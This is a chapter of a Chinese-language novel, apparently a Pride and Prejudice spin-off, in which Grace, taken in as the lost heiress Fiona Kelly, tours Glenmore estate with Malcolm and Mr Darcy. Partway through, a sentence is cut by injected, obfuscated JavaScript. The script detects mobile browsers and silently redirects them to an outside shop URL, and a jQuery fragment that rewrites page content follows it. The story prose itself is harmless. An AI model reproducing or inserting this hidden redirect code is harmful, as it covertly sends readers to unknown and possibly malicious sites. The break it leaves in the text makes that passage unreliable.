整个房间都透着一种与世隔绝的宁静。格蕾丝意外地发现,自己竟然在这里睡得十分安稳。
她刚坐起身不久,房门便被轻轻敲响。几位女仆端着盥洗用水和晨间衣物鱼贯而入。她们为格蕾丝梳理了长发,还细致地帮她换上一套剪裁精良、质地柔软的浅蓝色晨衣。
格蕾丝站在高大的落地镜前,镜中的女子梳着时下流行的雅致发髻,面容依旧是自己熟悉的模样,但在这身得体装扮的衬托下,少了几分乡野小镇的质朴,多了一层属于世家大族的矜贵。
那个在贝内特家生活长大的“伊丽莎白”似乎已经渐渐褪去,而名为“菲欧娜·凯利”的庄园大小姐,正一步步地从虚幻中走入现实。
就在她出神之际,马尔科姆亲自来到了她的房门外,准备接她下楼用早餐。
“早安,菲欧娜。”马尔科姆走到格蕾丝面前,用关切的目光打量了她一番,“昨晚睡得好吗?这房间的陈设是否还合你的心意?”
“早安,哥哥。我睡得很好,这里的安排周到极了。”格蕾丝得体地屈膝行了一礼。
马尔科姆微微一笑,他伸出那双修长而苍白的手,指尖顺着她的脸颊轮廓轻抚。
这本该是一个兄妹间充满温情的安抚动作,格蕾丝却不可抑制地想要抗拒。但她还是凭借着良好的教养克制住了闪避的本能。
马尔科姆似乎并没有发现什么异常,自然地牵起她的手,将她引出了房间。
达西先生已经端坐在长条餐桌的客座上。他穿着笔挺的深灰色外套,仪态依旧完美无瑕。不过格蕾丝注意到,他的眼眶下隐约有着一层淡淡的阴影,看来这位先生昨晚并没有获得充足的休息。
看到他们走进来,达西先生立刻站起身致意。他的目光落在了马尔科姆牵着格蕾丝的那只手上,深褐色的眼眸中闪过些许沉郁。
用餐结束后,马尔科姆提议带格蕾丝正式游览一番这座属于她家族的庄园。
他们由上至下开始参观。马尔科姆依旧以一种引导者的姿态,让格蕾丝挽着他的臂弯走在前面,而达西先生则保持着距离,不远不近地跟在他们身后。
一路上,达西沉默不语,他的视线一直紧盯着前方两人相连的手臂。
他们首先来到了位于二楼的书房。书房带着独属于岁月沉淀的稳重。由于窗户朝向的关系,其中的光线甚至有些昏暗,反而营造出肃穆的氛围。
四周是顶天立地的巨型木质书架,上面排满了烫金封皮的藏书。房间中央是一张宽大的红木书桌,桌面整齐地摆放着各种账本和商业文书。显然,这里是马尔科姆掌控家族产业的中心。
格蕾丝的目光在书房里游移,突然间,她的视线定格在了壁炉上方的一块石雕上。那是一个繁复的家族徽章,由太阳、盾牌、头盔、交叉的剑与飞天的神兽组成。
这图案与格蕾丝那条家族项链上的纹章很是相像,只不过项链的设计更加简洁。严格说来,它与那日在加德纳先生的布料店里看到的木匣徽记才能谈得上完全吻合。
随后,马尔科姆带她参观了自己的卧室。这间屋子出乎意料地简洁——灰蓝色的墙纸、深色的硬木家具,透着与马尔科姆本人如出一辙的疏离感。
紧接着,他们来到了庄园西侧的一条长廊,这里被布置成了凯利家族的画室。墙壁上悬挂着历代家族成员的画像,油彩在岁月的洗礼下显得愈发深沉。
马尔科姆在一幅巨大的半身像前停下了脚步。画中是一位精神矍铄的绅士。
“这是我们的父亲。菲欧娜,你的红发和绿眼睛,简直是他完美的翻版。父亲临终前最大的遗憾就是没能找到你,如今我终于把你接回了家,也算是不辜负他的期望了。”
格蕾丝凝视着画中的长辈,那双绿色的眼睛仿佛穿透了画布在注视着她。
在父亲画像的旁边,悬挂着一幅年轻的女性肖像。那画中的女子穿着一袭深绿色的骑马装,身姿挺拔。
“这……是我吗?”格蕾丝不由自主地上前一步。
“那是你十八岁时留下的画像。是我为你画的。”马尔科姆在一旁解释。
格蕾丝注视着那看起来熟悉却又完全陌生的脸。画中的菲欧娜·凯利看起来并不具备任何格蕾丝身上柔和的英伦气质,相反,她的下颌微微扬起,眉宇间尽显傲然。
那双同样的眼眸里,散发着坚韧不拔、绝不服输的光芒。她看起来绝非一个性格软弱、任人摆布的闺阁千金。
格蕾丝内心激起强烈的割裂感,数不清的疑问在脑海里翻涌。在失去记忆之前,她究竟是一个怎样的女子?她身上到底发生了怎样的变故?
在菲欧娜的旁边,是马尔科姆的肖像。画中的他比现在稍显年轻,气质却更为冷峻。
格蕾丝转头看了看身边的马尔科姆,只觉得眼前的兄长虽然长相清冷,但待人接物却颇有亲和力,言谈举止间也尽显温和。难不成他的严肃都是做给外人看的?
“哥哥,”格蕾丝环顾四周,“为什么这里只有父亲、你和我的画像,却没有母亲的呢?”
马尔科姆那灰色的眼睛迅速掠过一丝复杂的情绪。
“很抱歉,菲欧娜。”他垂下眼帘,“我忘了你已经不记得这些事了。我们的母亲……在生下你不久后就因为身体虚弱去世了。母亲的离世对父亲打击很大。为了避免无休止地睹物思人,他下令将母亲的画像全都收进了阁楼,不许再悬挂出来。”
格蕾丝点了点头,为触及家族的伤痛而轻声致歉。他们继续往前走着,马尔科姆耐心地为她讲解每一幅画背后的含义。
而达西先生默然停驻在菲欧娜的画像前,仿佛在注视着一位阔别已久的朋友。
离开画室后,他们又参观了几间起居室和音乐室。马尔科姆特意推开一间朝南的房间,向格蕾丝介绍说,这是特地为她重新布置的专属起居室,里面的钢琴和刺绣架都是从库房里新搬来的。
最后,他们穿过一楼的落地玻璃门,来到了庄园的后花园。
与那些追求繁花似锦的英格兰庄园不同,格伦莫尔庄园的花园显得克制与庄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596416|203965||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
重。主人似乎更偏爱常绿灌木、修剪整齐的紫杉树篱,以及散落其间的大理石雕塑。冷色调的绿与灰白的石头融合在一起,构成了一幅略带寂寥的古典风景图。
唯一的例外,是位于格蕾丝卧室窗户正下方的一大片白色蔷薇花丛。这似乎是整个庄园里仅有的肆意生长的花卉。虽然已是入秋时节,但它们依然在枝头倔强地绽放着,花瓣随着微风摇曳起舞,散发出阵阵清香。
“那是你最喜欢的花。”马尔科姆顺着她的视线看去,“你不在的日子里,园丁依然把它们照顾得很好。”
格蕾丝心中不由得生出惋惜之情。秋风已经染上了些许寒意,这些洁白的花朵在即将到来的严冬面前,终究会无可挽回地走向凋零。
结束了游览,三人重新回到了庄园宽敞的门厅。此时,大理石楼梯的旁边,正规规矩矩地站着一位年轻的女仆。
她穿着规整的制服,见到主人们走来,利落地屈膝行礼。
“菲欧娜,这是梅芙。她虽是新来的,做事却极为稳重。从今天起,由她专门负责服侍你的起居。你有什么需要,尽管吩咐她。”
“您好,大小姐。”梅芙低声说道。
格蕾丝欣然接受了这个安排。
马尔科姆转过身,看向格蕾丝,脸上的神情变得郑重起来。
“菲欧娜,你能回到格伦莫尔,是我们家族的一大幸事。我不打算让它就这样默默无闻地发生。我已经吩咐了管家,一周之后,我们将在庄园里举办一场盛大的欢迎舞会。我会邀请威克洛郡乃至都柏林所有有头有脸的家族和乡绅前来。我要向所有人宣告,凯利家族的大小姐,终于平安归来了。”
格蕾丝有些不知所措。她还未能完全适应这座庄园的生活,便要立刻被推向社交场的中心,去面对那些对她来说全然陌生的“旧相识”。但看着马尔科姆那不容置疑的眼神,她知道他已经做出了决定。
达西先生站在一旁,眉头微蹙。在局势尚未完全明朗之前,就如此大张旗鼓地将格蕾丝暴露在众人的视线中,无疑增加了不可控的风险。然而,他没有任何立场去反对庄园主人的决定,只能暗自提高警惕。
接下来的几天里,庄园上下为了即将到来的舞会陷入了忙碌之中。而最让格蕾丝感到应接不暇的,是马尔科姆送来的那些礼物。
这天下午,格蕾丝刚回到自己的卧室,就看到房间里堆满了各式各样的纸盒与托盘。梅芙正有条不紊地将这些物品一一展示出来。
光泽流转的丝绸、缀满蕾丝的衬裙,以及一排做工考究的羊皮软鞋。不仅如此,还有几个打开的珠宝匣,里面陈列着成套的宝石项链、璀璨的钻石发梳和光彩夺目的珍珠配饰。这些衣物与首饰的奢华程度,远远超出了格蕾丝以往二十年人生中的所有认知。
格蕾丝站在这些华服美钻中间,手指抚过那冰凉柔滑的布料,心中却没有生出多少喜悦。
那些炫目的光彩在午后的阳光下明灭交错,晃得人有些眼晕。房间越来越满,连桌面都被占据,她几乎无处落脚。